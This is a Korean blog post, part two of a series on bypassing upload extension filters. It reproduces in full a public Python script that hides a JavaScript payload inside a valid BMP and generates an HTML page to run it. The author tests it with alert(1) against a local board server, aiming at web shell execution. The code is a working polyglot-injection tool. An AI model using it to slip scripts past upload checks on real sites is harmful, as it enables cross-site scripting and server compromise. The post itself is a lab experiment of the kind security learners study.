IT/ISSUE

매직넘버를 이용한 파일 확장자 우회 #2

종금 2019. 11. 21. 11:50
반응형

 

리눅스의 echo 이용해 hexa code를 넣는 것도 좋지만

생각해보면 그냥 그림판에서 bmp 제작해도 똑같은 헥사를 얻고 

전 #1(https://chanztudio.tistory.com/31)에서 해당 스크립트 삽입시 어디 위치로 삽입 되는지

확인했으니 이제는 귀찮지 않게 그림판으로 해당 그림파일 제작 후 스크립트 삽입하려고한다.

 

일단 구글링으로 좀더 검색해보니 bmp에 스크립트를 삽입하는 파이썬 코드가 있어서

이를 훔쳐서 일단 넣어보기로 했다.

더보기
  1. #!/usr/bin/env python2

  2. #============================================================================================================#

  3. #======= Simply injects a JavaScript Payload into a BMP. ====================================================#

  4. #======= The resulting BMP must be a valid (not corrupted) BMP. =============================================#

  5. #======= Author: marcoramilli.blogspot.com ==================================================================#

  6. #======= Version: PoC (don't even think to use it in development env.) ======================================#

  7. #======= Disclaimer: ========================================================================================#

  8. #THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR

  9. #IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED

  10. #WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE

  11. #DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,

  12. #INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES

  13. #(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR

  14.                                                                 #SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)

  15.                                                                 #HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,

  16. #STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING

  17. #IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE

  18. #POSSIBILITY OF SUCH DAMAGE.

  19. #===========================================================================================================#

  20. import argparse

  21. import os

  22.  

  23. #---------------------------------------------------------

  24. def _hexify(num):

  25.         """

  26.         Converts and formats to hexadecimal

  27.         """

  28.         num = "%x" % num

  29.         if len(num) % 2:

  30.                 num = '0'+num

  31.         return num.decode('hex')

  32.  

  33. #---------------------------------------------------------

  34. #Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]

  35. #;alert(_0xe428[0]);"

  36. def _generate_and_write_to_file(payload, fname):

  37.         """

  38.         Generates a fake but valid BMP within scriting

  39.         """

  40.         f = open(fname, "wb")

  41.         header = (b'\x42\x4D'  #Signature BM

  42.                                                 b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header

  43.                                                 b'\x00\x00\x00\x00' #Reserved

  44.                                                 b'\x00\x00\x00\x00' #bitmap data offset

  45.                                                 b''+ _hexify( len(payload) ) + #bitmap header size

  46.                                           b'\x00\x00\x00\x14' #width 20pixel .. it's up to you

  47.                                                 b'\x00\x00\x00\x14' #height 20pixel .. it's up to you

  48.                                           b'\x00\x00' #nb_plan 

  49.                                                 b'\x00\x00' #nb per pixel

  50.                                                 b'\x00\x10\x00\x00' #compression type

  51.                                                 b'\x00\x00\x00\x00' #image size .. its ignored

  52.                                                 b'\x00\x00\x00\x01' #Horizontal resolution

  53.                                                 b'\x00\x00\x00\x01' #Vertial resolution

  54.                                                 b'\x00\x00\x00\x00' #number of colors

  55.                                                 b'\x00\x00\x00\x00' #number important colors

  56.                                                 b'\x00\x00\x00\x80' #palet colors to be complient

  57.                                                 b'\x00\x80\xff\x80' #palet colors to be complient

  58.                                                 b'\x80\x00\xff\x2A' #palet colors to be complient

  59.                                                 b'\x2F\x3D\x31\x3B' #*/=1;

  60.                                                 )

  61.         # I made this explicit, step by step .

  62.         f.write(header)

  63.         f.write(payload)

  64.         f.close()

  65.         return True

  66.  

  67. #---------------------------------------------------------

  68. def _generate_launching_page(f):

  69.         """

  70.         Creates the HTML launching page

  71.         """

  72.  

  73.         htmlpage ="""

  74.                                                                 <html>

  75.                                                                 <head><title>Opening an image</title> </head>

  76.                                                                 <body>

  77.                                                                         <img src=\"""" + f + """\"\>

  78.                                                                         <script src= \"""" + f + """\"> </script>

  79.                                                                 </body>

  80.                                                                 </html>

  81.                                                 """

  82.         html = open("run.html", "wb")

  83.         html.write(htmlpage);

  84.         html.close()

  85.         return True

  86.  

  87. #---------------------------------------------------------

  88. def _inject_into_file(payload, fname):

  89.         """

  90.         Injects the payload into existing BMP

  91.         NOTE: if the BMP contains \xFF\x2A might caouse issues

  92.         """

  93.         # I know, I can do it all in memory and much more fast.

  94.         # I wont do it here.

  95.         f = open(fname, "r+b")

  96.         b = f.read()

  97.         b.replace(b'\x2A\x2F',b'\x00\x00')

  98.         f.close()

  99.  

  100.         f = open(fname, "w+b")

  101.         f.write(b)

  102.         f.seek(2,0)

  103.         f.write(b'\x2F\x2A')

  104.         f.close()

  105.  

  106.         f = open(fname, "a+b")

  107.         f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')

  108.         f.write(payload)

  109.         f.close()

  110.         return True

  111.  

  112.  

  113. #---------------------------------------------------------

  114. if __name__ == "__main__":

  115.         parser = argparse.ArgumentParser()

  116.         parser.add_argument("filename",help="the bmp file name to be generated/or infected")

  117.         parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")

  118.         parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")

  119.         args = parser.parse_args()

  120.         print("""

  121.                                         |======================================================================================================|

  122.                                         | [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.          |

  123.                                         | It is the end user's responsibility to obey all applicable local, state and federal laws.            |

  124.                                         | Authors assume no liability and are not responsible for any misuse or damage caused by this program  |

  125.                                         |======================================================================================================|

  126.                                         """)

  127.         if args.inject_to_existing_bmp:

  128.                  _inject_into_file(args.js_payload, args.filename)

  129.         else:

  130.                 _generate_and_write_to_file(args.js_payload, args.filename)

  131.        

  132.         _generate_launching_page(args.filename)

  133.         print "[+] Finished!"

(출처: https://pastebin.com/04y7ee3u)

 

일단 그림판으로 bmp확장자 하나랑 .py 확장자로 위 스크립트 제작 후 

python27을 통해 일단 스크립트를 넣어보았다.

 

 

일단 기본형부터 작성해서 테스트하기 위해 1번 파일로 하나더 만들어 두고 

실행 명령어를 입력하자 명령어는 아래와 같다.

 

python bmp_injection.py -i bmpheader.bmp "alert(1);;"

 

좀깨지긴해도 finished 뜨면서 완성된거 같다.

 

그리고 보면 run.html이 생성된것을 확인할 수 있는데

해당파일이 실행되며 사진으로 나오는걸 확인할 수 있다.

 

그런데 문제는 서버에 업로드해 작동하면 작동이 안된다. (두둥)

 

그래서 일단 run.html을 뜯어보기로 하였다.

 

두둥... XSS가 되어야만 이것이 되는건가?

뭐 어쨋든 좋다. XSS는 어떻게든 하면되니까 일단 중요한건 웹셸 구문이 실행되는거니까

이후는 이후에 생각하기로하고 일단 이 구문을 넣어서 해보기로 햇다.

해당 서버에 디렉터리 경로는 아니까 이를 이용하도록 해보자

 

일단 해당 디렉터리를 보아하니 해당 글의 주소는 아래와 같다고 생각된다.

http://192.168.0.18/board/upload/bmpheader1.bmp

 

그러면 자유게시판에 스크립트 작동하는지 먼저 확인해보면 스크립트도 실행된다.

 

 

그러면 아까 run.html에 보였던 스크립트를 해당 주소로 옮겨서 다시 작성해보자

 

하지만 안된다.. 왜 저 run은 되는걸까..

이와중에 이상한게 있다. 처음엔 인식이 안되는데 F12클릭후 해당 소스를 더블클릭하면 생긴다.

 

 

그리고 우연히 찾은건데 낮은버전 IE에서는 그냥 바로 보인다.

 

그럼 예상되는건 한가지 IE에서 스크립트를 막는거 같다.

하지만 더중요한건... 왜 낮은버전 IE에서 스크립트 실행이 안될까이다.

 

일단은 아이디어가 더이상 안나니 #2는 여기서 마무리하고 다시 #3에서 적어야겠다.

 

반응형